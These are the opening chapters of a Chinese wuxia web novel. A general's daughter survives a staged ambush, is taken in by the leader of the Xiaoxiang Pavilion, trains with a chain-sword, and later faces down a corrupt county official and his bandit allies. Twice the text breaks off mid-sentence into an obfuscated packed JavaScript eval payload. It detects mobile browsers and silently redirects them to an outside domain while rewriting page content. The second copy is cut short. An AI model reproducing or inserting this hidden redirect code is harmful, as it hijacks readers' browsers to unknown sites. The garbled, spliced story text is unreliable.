《风起雪落时》 1. 风起雪落 开元元年，周氏先祖一统东梁，所设各司处理朝内大小事宜，此外暗设鬼月负责清理前朝势力以及与圣人背道而驰之人。但新国刚立，百废待兴，四周又有旧敌虎视眈眈，先帝圣明，善用民间组织潇湘阁收集各方情报，终于东梁于风雨中稳住了脚跟。 但是先帝为国殚精竭虑，在位短短五年就驾鹤西去，传位于五皇子周钦德，改国号盛元，东梁也正是进入了昌盛之时。百姓安居，商贾贸易不断，随着国力强盛，四方之国皆来结交，开创了东梁的盛世。 盛元四年冬，大街小巷传满了暗卫伤人，鬼月彻底失控消息。这样的消息让身处盛世中的东梁人心中隐隐不安，一群武艺高强之人，就这样失去了朝廷的约束难免人心惶惶。但好在年关将至，这样的担忧也随着新岁的爆竹暂时消散了。 上元佳节，街上张灯结彩，东梁没有宵禁的限制，路边小摊人来人往。整个东梁京都都沉浸在这一片喜乐融融的氛围之中。新年换旧年，这新人也常换去旧人，那街边的茶摊也没想到之后的京都朝廷会经历这样的一场大变迁，毕竟他担心的只是隔壁卖豆腐脑的摊子会不会抢了自己的生意。 李府之内同样灯火通明，只是这灯火跳跃如同东梁飘摇的气运。这李府老爷的书房似乎有一些不一样的气氛，在这本是欢声笑语节日里，书房中的两人却是眉头紧皱，不时传出叹息和抽泣的声音。李夫人拿着手中针线缝着一个布偶娃娃，眼中的的泪水止不住的往下滴。李老爷也是眉头紧皱，时不时长叹一句。 “此事真的没有什么其他的解决方法了吗？”李夫人问道。东梁的冬日很冷，李夫人张清身着厚实的皮草，屋内点着暖炉，但似乎仍然无法消除她身上或者心中的寒气。 “婉儿出生的时候大师就说过，她命里有一劫，若是度过这一劫之后命途也会顺畅不少，若是不行……”李老爷李治同样眉头紧皱，但是不同于张清，他的眼神多了一份决绝。 翌日清晨，东梁京都的冬天迎来了难得晴朗，李府上下也是一阵忙碌，在李家老爷的安排下，一辆马车驶出城外，车上的女孩一身喜庆的棉服，两个发髻更是凸显可爱，一路与丫鬟有说有笑。却无人料到今天到底会发生什么。 马车出城不久原本晴朗的天空迅速被一朵乌云替代，狂风骤起，原本适合登高望远的日子，却平添了肃杀的气氛。正当马车行至一段无人的路段时，一阵微风吹过，路边草丛沙沙作响，似是随风而来，草丛中窜出四五道黑色身影，直奔马车而去。似乎是意料之内的事，他们并没有遭到马车多少的反抗，随行的侍从四散纷纷，有那么几个忠心的仆从留下来反抗也未在黑衣人手上撑过几式。解决完马车，那群黑衣人似乎还没达到目标，为首的黑衣人也惊咦了一声，吩咐其他人认真搜寻，，很快他们便注意到那个无风而动的草丛。 正当提刀小心翼翼接近之时，这本少有人经过经过的道路上却来了一人，此人身着白衣，上有银线淡秀牡丹图案，原本象征着富贵繁华的牡丹，却染上一丝超脱世俗的高雅，腰间却挂着一块极其质朴的木牌，木牌或许是经过长时间的气息的温润，竟然散发出如玉一般的光泽，木牌上所画赫然是一只三眼朱雀。白衣人头上戴着帷帽，虽看不清模样，但若细观骨相不难感受到此人虽不再青春年少，但是必定相貌脱俗，再加上这清高的气质，在那胭脂榜前十之位必有一席之地。白衣人还未近身便可以感受她周身散发出的凌厉气息，黑衣人显然也注意到来人，瞬时间戒备起来，目光落在白衣腰间那枚木牌上，均是一惊，本有几人还想占着人多上前一战，却被为首之人厉声拦下。带头的那人开口之时声音已经略微颤抖：“阁主既然插手此事，还望阁主确保李婉已死。小的就不打扰阁主了。”说罢便带着手下离开了这是非之地。 目睹这一切的李婉，心中恐惧是难免的，但是她知道，只要她活着父亲定然会派人来找他，那样安心睡一觉过后，她还是李府中最受宠的千金，今日之事也只会像噩梦一样随着时间慢慢消散。虽然内心是这样想，但不知是因为之前那几人的话，还是眼前这白衣女子的气场，又或是这阴沉的天气，李婉的内心还是被一股不安围绕。正当她打量着那白衣女子之时，她却意外的与那双斗笠之下的眼睛对视了，心中的恐惧骤然增加，以至于她生孩子无能为力站起身来向后逃窜。 此时天空上的乌云已经如墨一般，阴沉得再下秒就会整个坠向大地。白衣人环视一圈，并未理会破损的马车，而是折返方向径直走向了刚刚晃动的草丛。拨开乱草看到那个那个瓷娃娃一样的女孩正蹲在草丛里，虽是眼泪止不住的往外流，但是还是一声不吭。 “你叫什么名字？”白衣女子开口说话，是一道略带冰冷的女声，莫名让人有些胆战。 “……”意料之中的没有回话。 “你姓李？” “……” “他们走了，不会回来了，但是你也回不去了。”白衣女子淡淡地说出了令人心寒的事实。 “你也要杀我吗？”似乎是适应了这个声音，又或者是接受了这个事实，女孩开口时已经不再那么惊恐。 “你可以选择我杀了你，又或者拜我为师，以后的日子都跟着我，只是于你而言，在你能成为强者之前，李婉不会活着。” “强者？什么才是强者？” 这次回应她的只有风声。 此时的乌云不再如墨色而是变成了血红色，大片大片的的雪花从天空飘落，地面上也是狂风大作，卷席着雪花飞扬，吹在人皮肤上如同刀割一般，也如同这话语一字一字刺在李婉心里。李婉并没有再回话，而是顺着蹲姿便跪了下去，对着女子磕了三个头。 女子抬手将李婉拉起，抬头看了下如血的乌云对着女娃儿说道：“我叫萧云雁，你以后就叫萧妖雪可记住了？“ “是，师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556986|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，妖雪记下了。” 正月时分，天寒地冻，东梁这一场如同洒血的大雪下了一天一夜百年未遇，世人皆道是东梁气运将尽，这朝野必定是要风云再起。 与此同时，京都之中的恐慌再度卷土重来。李尚书的千金上元节出游，却连带仆从十余人惨死于城外。李治于大殿前跪了整整一日，声泪俱下，控诉凶手正是那失踪已久的鬼月，只因自己曾经与鬼月首领交好，如今鬼月担心他有所透漏，想斩草除根，。所幸当日李治因为府中事务并未在那辆马车之上才躲过一劫。但如今鬼月如此残忍，竟然出手行刺他的千金，他李治立誓全力配合官府将他们一网打尽。果然没过多久，朝堂突然剿灭那群“影子”，当街斩除叛乱分子近百人，那一日午门之外，血流成河，据说之后来收尸的人足足忙活了三天，才将这午门之外恢复如初。而朝中半数的老臣或告老还乡或于暗中丧命于京都这座食人的巨兽腹中。当朝李治府上继传来爱女的落难的丧讯后，却迎来了一个好消息，这位普普通通的尚书竟然一夜之间加官晋爵成了当朝一人之下万人之上的宰相。据言此事之后圣上大病一场，寻了不少名医才得以保住性命。 李婉小记： 正月十五是李婉最喜欢过的节日，当日灯会张清带着她出去逛了好大一圈，看了烟花，放了河灯，又给她买了糖葫芦和好几件漂亮的裙子。只是今年的上元节不同往年。要说往年父亲还会和她们一起出来。这段时间父亲真的很忙，但是连这样重要的节日都缺席，着实让李婉有些生气。但是小姑娘的脾气来得快去的也快，和母亲在外面逛了好几个时辰才回家。 刚到院子中刚好遇上李府要开始放烟火，李府虽然不算这京都中的大家，但是每年正月十五还是放一轮烟花。刚进院子，李婉就看到李治走了过来，将她抱了起来，李婉也急急忙忙拿出刚刚自己买的花灯给父亲看，李治连连称赞。张清也来到二人身旁，管家张罗着把烟火点燃了，众人退到了屋檐下，等待烟花升空。 李婉每年都喜欢看烟火，但她总觉得自己的烟火款式没有别人家的多，放得时间也不及别人家的长，为此还和李治闹过，但是不知怎的她还是会期待每一年李府的烟火。 李治抱着李婉道：“婉儿，你之前总是与父亲说，咱自家的烟花看不够，今年父亲特地去祭礼司挑了好几款新式的，你可要好好过目呀。”说罢还宠溺的刮了一下李婉的鼻尖。 话音刚落，便见礼炮升空，李婉的眼睛都看直，确实今年的礼花是她看过最美的，足足放了半柱香的时间才将院中的所有烟花都放完，而李府中也充斥着浓浓的烟火气。李婉和家中几个小孩就趁着烟气还未散尽冲进了院中，又疯了好一会，才被大人们叫回去睡觉。 躺在床上的李婉不断回味着过去的一天，她觉得这一定会是自己永生难忘的一个正月十五，只是如果今天去看杂耍戏的时候如果是父亲抱着自己就更好了。 2. 潇湘谷内 就这样不知道目的地在何处的萧妖雪跟着萧云雁走了足足五天，说是奇怪，这一路上还真未遇到李府派出来寻找千金的人，似乎李婉这个小姑娘就这样被遗忘了。路上萧妖雪与萧云雁交流不多，萧妖雪只知道她应该是某个江湖门派的高手，她腰间的那块木牌很有威望，以及她们每晚住的店都是青楼。 第六日傍晚，太阳已经西沉，笼罩东梁大地的风雪也渐渐淡出人们的饭后闲谈，取而代之是有那么一丝春意的阳光开始撒向东梁。这天萧云雁并没有在邻近的城池停留而是带着萧妖雪进了凉山，转道进入一个河谷地带，河谷幽深，虽是冬天但是谷内多为松木类，四季常青，加上小溪潺潺，若不是现在天气寒冷，着实让人难以分辨季节。走不多时，一片古香古色的建筑便映入眼帘。从那涂着朱漆的大门就可以看出，这里恐怕已经历经多少年的风雨，大门上、围墙都有修补过的痕迹，漆料也是反复涂过好多次。门后的山上隐隐绰绰中可以看到一些楼房，而在更靠后的地方一座塔状建筑的房檐若隐若现。 萧云雁来到门口并没有叩门，大门便缓缓打开，门内两个垂髫小儿，对着萧云雁规规矩矩行了一礼。萧云雁淡淡摆手，两个小儿退了下去。 在萧妖雪看来，萧云雁应当是那种独行侠，却不料她竟然还有这样一个门派，听刚刚那两小儿称呼她为阁主，这几天相处下来，萧妖雪还真看不出她有半分阁主之风。等等！阁主！想到这萧妖雪突然意识到什么，潇湘阁的主人，不就是阁主吗！但是眼前这位怎么看都不是一位能够治理好一个门派的人。毕竟在这几天她们入住潇湘阁的时候，那些人对这位阁主也不过是对待一个普通房客的态度，丝毫没有半分对一宗之主的尊敬。不过萧妖雪的这个疑惑也很快得到了一些解释。 二人行至主殿，一名身着素色衣裙的中年女子已经沏好茶汤等待萧云雁。女子年纪看起来与萧云燕相仿，眼尾已经有淡淡的细纹浮现，不过眼神中却难得清明，这样的清明不同于不谙世事的少女，反倒是看破一切后才可能出现的返璞归真。萧妖雪虽说年纪尚小，但是于家中也见过不少登门拜访的京中贵妇，眼前这位女子的气质比之那些宾客绝对不算差。而且不得不说，这位女子比萧云雁更有宗主之风。 “文妆，这段时间辛苦你了。” 被唤作文妆的女子淡淡一笑，轻轻摇头，言道：“怎还带了个女娃儿回来，这次又能待多久呢？” 萧云雁似乎是故意避开了这个问题，将身后的萧妖雪引至文妆跟前。 “她叫萧妖雪，之后阁内的事务就要麻烦你和她细说。” 听到萧妖雪这个名字，文妆显然愣了一下，转而对萧云雁说：“我没想到会这么快，不过既然你带回来了，我自然会好好教她。”言罢便遣侍女带着萧妖雪去了卧房。 当时年仅六岁的萧妖雪，就这样被懵懵懂懂的拜了个师，懵懵懂懂的进了这山门。兴许是这几日一直担惊受怕此时终于安定下来，又或是这几日的奔波已经超出这位之前养在深闺女孩的体力，萧妖雪简单用膳后，便沉沉睡去。 睡梦之中，原本父亲和蔼可亲的脸却变得狰狞，正指挥着那群黑衣人向自己挥刀，母亲满身是血倒在自己身旁，身后站着萧云雁，不断对自己说着：“这一切的后果就是因为你还不够强。”可是这梦魇似乎永远不会结束一般，萧妖雪希望醒过来，但是似乎这就是事实并非梦境，内心的痛苦和身上的疼痛似乎一直都没有消失，就连眼泪滑落的感觉都那么真实。 翌日鸟雀刚刚开始鸣叫就有一名侍女前来唤醒熟睡的女娃。终于将萧妖雪从那算无穷无尽的噩梦中拉回，睁开眼睛萧妖雪有一种不知身处何方的迷茫，待思绪渐渐回笼，才想起自己现在已经进了潇湘谷。起身之时萧妖雪也注意到湿润的被头，看来昨夜的眼泪确实真实存在。 洗漱过后，侍女引导萧妖雪来到后山庭院，便自行退下。再看院中，文妆已经在园中等候。 后山庭院很空旷，没有过多的花草点缀，目之所及最吸人眼球便是那座五层楼高的高塔，塔身不是传统的木制结构，而是极其厚重的青铜铸成，塔角悬有风铃，清风拂过便叮咚作响。 文妆看到萧妖雪露出一个和善的笑容，温声言道：“我叫文妆，在这山谷中已经住了十余年了，主要负责书阁的整理和消息的整理。之后很长一段时间你估计都要和我在这书阁中度过。” 萧妖雪看着这塔楼，不禁感叹，这深山之中竟然还有如此建筑，更令人震惊的是这塔楼中竟然存的都是书籍，这个门派的实力可见一斑。 愣神之后，萧妖雪匆忙回神，应下了文妆的话，同时也问出了心中疑问：“好的，文先生。不知文先生可否先与我讲讲这门派？” 闻听此言，文妆也是一愣，不过也只是一瞬间，便莞尔一笑道：“我早就该想到了，云雁定是没有这心思与你细讲，也罢。” 说罢，文妆将萧妖雪引到了一旁的亭中，沏了两杯茶，这才缓缓开口：“我们所属叫做潇湘阁，在江湖上名声不算好，我们对天下武榜没有多少追求，所以武林高手和我们也不大沾边。” 听到潇湘阁三字的时候萧妖雪已经瞪大双眼，不禁出言打断：“京城那个最大青楼？潇湘阁？” 文妆一笑答道：“是也不是，京城那个潇湘阁确实是我们的，但是我们不仅仅是青楼，应该说京城那个最大的情报交易地，潇湘阁确实不以武榜为追求，但是云雁确确实实是武榜的制定者，并且我们也是东梁覆盖最广的信息网。” 听到此时萧妖雪已经震惊得无言以对，毕竟在过去她对于潇湘阁总是有些看不起，她只认为潇湘阁凭借这样的手段便做到这么大生意，确实没有料到他们背后还有此等交易。 文妆见女娃并没有还要打断的意思，便继续讲了下去：“潇湘阁现任阁主就是你师傅萧云雁，其下设四堂：毒堂、武堂、书堂、蛛网。毒堂配毒铸剑，多是匠人为主；武堂送件杀人，多是阁主这些年游历捡回来的高手；书堂规整信件，集武林秘籍，我就是现任书堂堂主；最后就是潇湘阁的支柱蛛网，由各地的青楼组成，由楼主进行管理，楼中的姑娘我们称作鸟雀便是我们收集情报最有力的武器。 我们在江湖上谈不上什么正派组织，但是也不做伤天害理的事情，云雁这些年游历，救了不少蒙冤的武人，潇湘阁虽说是青楼，但是我们也从未从未亏待过鸟雀，他们中有很多流离失所或者被转手于市场的女子，只要是阁主看到都会出手相助，只要她们愿意便可入得潇湘阁。 但是在阁内有一个规矩各层与上线交流时，只以木牌定身份，只要你愿意，你可以选择拥有一个市井身份，就算有一天你离开了潇湘阁你也可以完全以你的市井身份活下去，像堂主以上的人大多都不愿意公开潇湘阁的身份，毕竟这会引来不必要的灾祸。” 说到此处，文妆才停下来喝了一口茶。 萧妖雪也是缓缓喝了一口茶才从这过于庞大、震惊的信息中缓过神来，不禁问道：“那文先生你的市井身份又是……”话未说完萧妖雪就意识到失言了，忙止住话语，尴尬的看向文妆。 也是之后萧妖雪才知道文妆也是出生在大户人家，之后也有一桩门当户对的好亲事，不料却是这份好亲事毁了她原本应当安乐平静的一生，朝中有人利用文妆的婚事做了文章，离间了帝王与朝臣，最终两家都落得满门抄斩，文妆却因为那日恰巧不在府中躲过一劫，之后被满城通缉，多亏萧云雁出手相助才得以在这谷中苟全余生。不过此时听到萧妖雪这个问题文妆并未提那些过往的陈年往事只是不介意道：“市井中的那个我已经死了，她满门抄斩的时候就死了。” “那文先生现在是强者了吗？你为何不去复仇？”萧妖雪也注意到气氛不对劲，但是一个小孩，有时候真的不是那么容易就能把握住问题的力度，都说童言无忌，但是有时又最致命，所以萧妖雪接下来问的这个问题，也让文妆本来微微皱起的眉头更加拧紧。 “妖雪，你很想复仇吗？” “师傅说我成为强者了，我就可以回去了，就不会有人再伤害我了，我还可以保护娘亲，父亲一定会很开心。” 文妆听到这也是长叹一声，她的人生已经过了半辈子，当年她丈夫武艺与才智都不错没能保护好所有人，萧云雁更是数一数二的强者都有未能保护的人。恐怕也只有在这个女孩的年纪才能说出这样的话。 空气安静了许久，文妆对于女孩的想法不予置评，毕竟现在这可能是唯一能支撑她活下去的希望，但是她也并不想赞成，毕竟她看过了太多现实的悲剧。文妆抬头看到太阳已经中天，便招呼人送来午膳。菜式并不丰富但是口味确实不错，二人吃完后，文妆便带着萧妖雪进入书堂。 书堂中充斥着木头的香味，目光所及并没有积灰落尘，书籍分门别类放置，显得整洁舒适，文章内容更是全面，从前朝政事到当今江湖趣闻，从宗门典籍到武道秘撰，可以说应有尽有。 文妆将萧妖雪引入塔内后，在书架上拿了有关当朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到这话，萧妖雪脑中就浮现出那日，马车遇袭的场景，那些仆从丧生当场，其实当时愿意拜这位神秘的白衣女子为师也是希望自己可活下去，有朝一日可以为那些为自己而死的人报仇。可是入得潇湘阁一些时日，整日在书堂看书，其余时间也是根本不见自己这位师傅，难免有些失落。今日既然萧云雁愿意提起学武之事，萧妖雪也是没有什么犹豫的应下了。 之后的时光萧妖雪就在书堂与武堂之间度过，日复一日，年复一年。文妆还是一样耐心，只要萧妖雪有任何问题都会为她一一解答，至于萧云雁这师傅本尊，就是神龙见首不见尾，教给萧妖雪一招一式之后，布置好每日的练武任务后，不见人影，人却会恰巧在萧妖雪成功掌握这一招一式时回来。 萧妖雪凭着心中复仇的狠劲，再加上在习武方面也着实有些天赋，短短三年时间就将那些比较初级的武艺掌握了个七七八八。第四年春天的时候，萧云雁给了萧妖雪一柄链剑，不过这链剑的牵引却不似寻常链剑是依靠软铁来连接，它所依靠的是气息牵引，所以在萧妖雪拿到这柄剑时它只是毫无光泽十七枚碎片。这柄链剑是由西域五彩城的铸剑师所铸，因为对使用者以气养剑要二者相辅相成的成长，所以武林中一些已经有了造化的高人也并不愿意使用。但是对于萧妖雪这样有天赋的初学者，只要假以时日，定可以与这柄剑融合的极好。 之后的日子，萧妖雪就在萧云雁的指导下开始练气，从可以御起一片碎片开始，到两片三片最后到可以将这十七枚碎片都操控，甚至还可以同时控制每一枚碎片的进行攻击。 因为这些碎片受到气息影响后显得流光溢彩，于空中飞舞仿佛是万千流光划过，所以萧妖雪就给它取名为流彩剑。这流彩剑不用之时可缠于腰间，若不细看根本看不出这是一柄利器，就像女孩心中复仇的火焰，也在这段时间慢慢沉淀，准备着燎原的那一天。 文妆小记：文妆来到潇湘谷已经十年有余，如今谷内大小事务都是她一人在主持，让萧云雁做了个逍遥的甩手掌柜。谷内众人特别是那些小孩童都挺喜欢文妆的，毕竟她相比于冰冰冷冷萧阁主那可是和蔼可亲多了。 还记得上次萧云雁回谷之时，看着中庭空了好大一块地，便心血来潮一掌轰出了一个大坑，当时可把谷内众人给吓坏了，急忙忙拿起武器，文妆赶到之时就看着萧云雁与谷内众人隔着那个坑面面相觑，确认确实是没有危险后，她才让众人散去。问了萧云雁这缘由，却只得来一句轻飘飘的：“我看这里空着也是空着不如拿来养鱼。”文妆不解：“既然你有这个想法为何直接告诉我，我来安排就好，你这一掌书堂中的书虫都惊醒不少，又要啃噬几页书卷。”萧云雁听后却不以为意，只是说到：“我这可是可是为你省了不少工程。罢了罢了，你让人收拾收拾，把鱼养起来吧。” 而后文妆的工作又多了一项——建鱼塘，养鱼。 3. 凉山县尉 盛元十四年，凉山县的新县令冯源走马上任，这才来的短短几天，便把凉山县搅得鸡犬不宁，且不说那突然高了一倍的税赋，原来已经安分的山贼竟然又卷土重来，而且面对报官的威胁他们丝毫不在乎，甚至扬言那官府里都是他们的人，他们又有何惧。更让百姓叫苦不迭是这每月都需上交的一笔孝敬钱，这可是开万古之先例，虽说之前也会有腐败的县官放任手下如此行事，但是这样光明正大征收的地方官他冯源还是第一个，让不少人微言轻的商贩都犯了嘀咕，这位大人到底是何来头，竟然敢如此行事，可奈何身份卑微，这县令恐怕就是他们这辈子见过最大的官。 冯源来了凉山县不足十天，孝敬钱已经是堆满了一间屋子，但是这凉山县也不全是软豆腐，有几个当地的大家族的孝敬钱他还没拿到手，但是冯源有这自信，这钱过不了多久，就会到自己口袋里，毕竟就算是大家族，也禁不住天天夜里有山匪敲门。反倒在冯源看来，这凉山县最大的硬骨头是一个青楼——潇湘阁。 当今东梁不少地方都以有潇湘阁的规模为荣，不仅仅是因为它消息灵通，对于大多数人来说是因为潇湘阁的女子那确实一等一的好，是个不错的逍遥地。凉山县的潇湘阁是三年前才建立的，规模不算小上下三层，一楼听曲，二楼作乐，三楼交易。凉山县不是什么重要的商贾往来之地，也不是重要的边陲重镇。所以白天来做消息买卖的人着实不多，但是这个潇湘阁却有一个放眼东梁都数得上名号的舞妓轻燕，所以也不乏周围城镇慕名而来之人。只是最近这个轻燕总以身体不适为由告假不出，让不少人败兴而归。 县衙府上，冯源派去潇湘阁游说的人又给他带了一个不太好的消息——潇湘阁对于他们之间的合作还是没有明确的回复，冯源再一追问，这人前前后后去了不下五趟潇湘阁，可是对方总是给出模棱两可的回复，这让冯源本来一时不知道该从哪里施压。看着案上孝敬钱的账目，那些大家还在和他博弈，如今手下又无功而返，看来这凉山县的几大势力就是想用这样的方式打他冯源的脸。冯源越想越气，手指不停的敲击着桌面。“不识抬举的东西。”冯源忍不住啐了一口，眼睛不由得眯起，开始盘算之后的计划。衙役们经过这几日相处，对县尉的性情也了解了七七八八，这就是冯大人运筹时候的表情了，最好谁也别插嘴，不然会死得很难看。 冯源心想，潇湘阁在凉山县为商，做得又是伺候人的生意，倒不如就拿这潇湘阁解解气。冯源对手下安排道：“你们去准备下，就同衙门里的兄弟说，最近辛苦他们了，今晚我请客，各位去潇湘阁好好玩玩。”眼见手下刚要退出去，冯源又突然吩咐道：“你们去把他们也叫上，逛青楼自然是人多才热闹。” 太阳刚刚消失在凉山之后，潇湘阁门口就来一大批衙门的人。冯源从马车上下来，先行进了门，后面的衙役也浩浩荡荡的跟进来。有些个手脚不干净的对着接迎的女子就开始动手动脚。这情形吓得不少鸟雀都不敢露面，但是这群人却偏偏人多不断催着楼里的人出来。他们就在一楼落座，也不去二楼包厢，就对上来伺候的鸟雀上下其手，惹得大厅里骚乱连连。有不少鸟雀本打算不在这伺候，却被强行留住，拉扯中衣衫不整，又引起旁边之人一阵怪笑。 这时冯源起身拍了拍桌子，一楼的骚乱渐停。冯源也才开口道：“诸位静一静，前几日本官上任未来得及好好犒劳诸位同僚，还麻烦诸位与我办了不少事，今天就在这潇湘阁，各位想怎么快活就怎么快活，只要不把这潇湘阁给拆了，本官都准了。”话音刚落，便迎来一阵掌声，就在冯源说话之时，潇湘阁门口又来了一群人，他们的打扮相比于官爷那就粗旷不少，门口的鸟雀本意是不想接待他们，便以今天已经满座为由打发了他们。哪想到为首的大汉，对着里面高声喊道：“冯大人，今日您宴请，我带着兄弟几个来了，这怎么还说没有坐了，您是不是不厚道了。” 冯源听到了门口的动静，脸上的笑容更盛，他今晚本来就是想让这些男人在这里闹事，他们那帮山贼土匪来了，就算最后事情真的闹到不可收场也大可以把他们拉出来背锅，最后再以清剿匪患为由，把他们打扫干净，那自己在这凉山县就可以逍遥好几年了。于是也是对着那大汉说到：“那是自然，这些丫头，恐怕是这辈子都没见过这么多男人，今天为我们就让她们好好开开眼，各位进来坐进来坐。” 门口的鸟雀脸色已经很不好看，进来这几人她们又何尝不知道，最近猖獗起来的山匪，看来真如流言所说这冯县尉确实与这山匪蛇鼠一窝。暗中一个鸟雀已经悄悄上了三楼去通禀管事之人。 果然冯源一行人这次来就没打算善罢甘休，刚刚进来的那几个山匪更是猖狂，直接抓住过路的鸟雀就打算开始行阿脏之事，为首的大汉也是起身叫到：“听闻你们潇湘阁有个上过胭脂榜的婆娘会跳舞，今天就出来，给大爷我跳一曲，让大爷我开开眼界，这胭脂榜上的女子到底有什么不一样，还是说就是你们潇湘阁随意糊弄外人的。” 所谓胭脂榜，是潇湘阁为世间女子所评，能上榜者当是人间尤物。如今圣人常伴身侧的云妃当年便是这胭脂榜前十之人。所以这能上胭脂榜还能愿意来潇湘阁中卖艺之人确实不多见，只是这轻燕已经告假多日，今日阁中也无人见过她，冯源一档人又怎会没听到过，这一看便是故意找茬。 当值的小头目已经解释了轻燕的情况但是这伙兵痞依旧不依不饶，眼见事态已经愈演愈烈，有人已经开始摔杯子砸板凳了，便听得台上传来一女子的声音：“各位稍安勿躁，今日是轻燕失礼了，现在我就舞一曲就当赔罪了。”此话一出下面的人都被台上之人吸引，只见这轻燕姑娘看起来确实如同一只燕雀一般轻巧，就这样轻轻一跃，便跃上了四周垂下的纱帘，随着鼓乐齐鸣，便在空中翩翩起舞，纱帘上轻燕的身影若影若现，宛若游走于山林间的山鬼优美至极，台下那些人眼睛早已经看直了，突然鼓乐之声再度高涨，轻燕却稳稳的落回地面，这时众人也才得以看清楚这位轻燕的眉眼，那仅仅是一个抬眼，下面落座的不少宾客就觉得血气翻涌，媚眼如丝用来形容眼前之人再合适不过了。冯源也是看直了眼，但是他也很快想起了今天他来这的根本目的，本想着让那些山匪闹出点动静，但是当他看到这位轻燕姑娘的时候，原来想法一扫而空。 就在台上的鼓乐未停，台下众人亦是兴致勃勃之时，冯源突然喊道：“停停停，都跳的是什么玩意，轻燕姑娘献舞一曲，这前半段都是在那纱帘后面，后半段又有这些伴舞的杂碎在这里碍眼，我们到现在连轻燕姑娘的脸都没看上几眼，这算哪门子赔罪。要我看轻燕姑娘不如下来，咱们喝喝酒说说话多好。” 听到这轻燕的眉头紧皱，迟迟没有回复，后面的琴师看不下去，便起身说道：“轻燕姑娘只是舞妓，潇湘阁陪酒的姑娘在二楼，烦请各位移步。” 听到这话冯源还没开口，他身旁的山匪头子就开口：“你这拉破弦，刚刚老子就想说你，拉的什么玩意，鬼哭狼嚎的刚好我这有几个兄弟他们拉弦拉的好，让他们来教教你吧。”说罢随意对身旁几人打了个手势，那些人便蜂拥上台，几人控制住琴师就是一顿拳打脚踢，轻燕看到这赶忙想上前拉架，又听到那山匪头子说到：“你们几个看什么热闹呢，没听到县尉大人要请轻燕姑娘共饮吗，快上去给轻燕姑娘请过去呀。” 其余那几人更是喜上眉梢，一个健步就冲上了台，名义上是请轻燕姑娘过去，而实则却是上下其手，其余的鸟雀看到这场景要不就是躲得远远的，有几个胆大上前拉架，也是被狠狠揍了几拳后就缩到了一旁。 正在下面乱成一团乱麻之时，几个拉着轻燕不放的山匪突然发出一声惨叫，捂着手躺倒在地上，紧接着那几个抓人就打的山匪也是一声惨叫，然后倒地打滚，整个楼里瞬间弥漫起一股血腥味。 土匪头子和冯源都是一惊，他们离得有些距离看不清台上那些人是怎么受伤的。跟着冯源的衙役也瞬间惊觉起来，腰刀出鞘，几人大喊：“有刺客保护冯大人。” 冯源还算冷静，对着手下喊道：“来人，把潇湘阁给我封了，还有这轻燕给我拿下，本官要亲自审问。还有我警告那些敢做不敢当的小人，本官上任凉山县县尉，可是拿着圣人的诏书的，尔等要是敢伤本官，那就是刺杀朝廷命官，那可是诛九族的大罪。我劝尔等还是快快主动现身，本官可以靠考虑从轻发落。” 话音落下，楼里除了女人抽泣的声音，再没有其他动静，手下见长官冷了场，也是急忙上台准备捉拿轻燕。 就在这时楼上传来了一道冷冷清清的声音：“手都不想要了？” 台上几人还没反应过来，在他们手腕处就已经停了几枚流光溢彩的碎片。几人看见之时均是吓得急忙收手。 轻燕看到楼上之人也是轻轻施礼道：“多谢楼主出手。”此话一出楼下之人更是议论纷纷。每个潇湘阁都有一个楼主主管楼中事宜，但是这凉山县的楼主三年之中露面的次数 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山匪头子的兄弟被伤了不少，旁边那县尉却一直在强调什么刺杀朝廷命官，对他的损失是只字不提，想到这他的火气不禁大了起来，对着楼上那人便说道：“我呸，什么破楼主，少在那里装神弄鬼，老子看就是哪里随便找的小丫头骗子来装大师。老子今天几个兄弟都上了，看你长得能，要是能下来给老子伺候爽了，老子愿意让你在去鬼门关前常常什么叫做赛神仙。”这话音还没完全消散，这山匪头子只觉得身下一凉，随即听到了什么东西落地的声音，然后就是淡淡的血腥味，再然后就是一阵让他要晕厥过去的痛意。 “啊——”一声惨叫久久地回响在楼中。 冯源见状也是一惊，楼上那人明明站的那么远，而且刚刚她明明什么都没做，怎么这山匪头子的命根子就掉地上了。而且也正如那山匪所说，这丫头看起年纪不大，有何能耐掌管这一座楼，又有什么能耐有这功夫。但是现在要他冯源再开口挑衅，那他是不敢的，随手拉过一个侍从挡在自己身前。对着楼上的人说到：“来…来者何人，光天化日之下，竟然敢在本官面前伤人，速速下来认罪伏法。”此时众人的眼睛都是紧紧盯着楼上那人。这女子身着一套白色衣裙戴着的面纱却是红色的，如此看去格外醒目。就在下一秒，挡在冯源面前那人只觉得眼前一白，白光中带着红影就过去，他还没想明白发生了什么，就听见身后冯源的呼吸声突然加重，拉着自己的手也是一紧。 待他再转过身时，便看到刚刚还在楼上的女子现在已经站在了冯源身后，一只手轻轻的抚着冯源的脖子，侧头在冯源耳边说到：“冯大人今天来潇湘阁不就是想闹事吗？这闹事不见点血那哪够。还是说我给你准备的这场面还不够大？”虽说这女子是在冯源耳边轻轻地说，但是在场所有却意外的听得清晰。冯源刚刚喝了几杯酒，本来还略带醉意，现在已经全醒了，他算是明白了这潇湘阁为何敢如此大胆的忤逆他，有这样的人坐镇，确实不把他这功夫的放在眼里。 不过好在他身后的气息没有再进一步压迫，而是慢慢的退开。冯源只觉得周围的空气这才恢复了流动。只是腿脚不受控制的有些颤抖，旁边的衙役也是一把扶住了他。 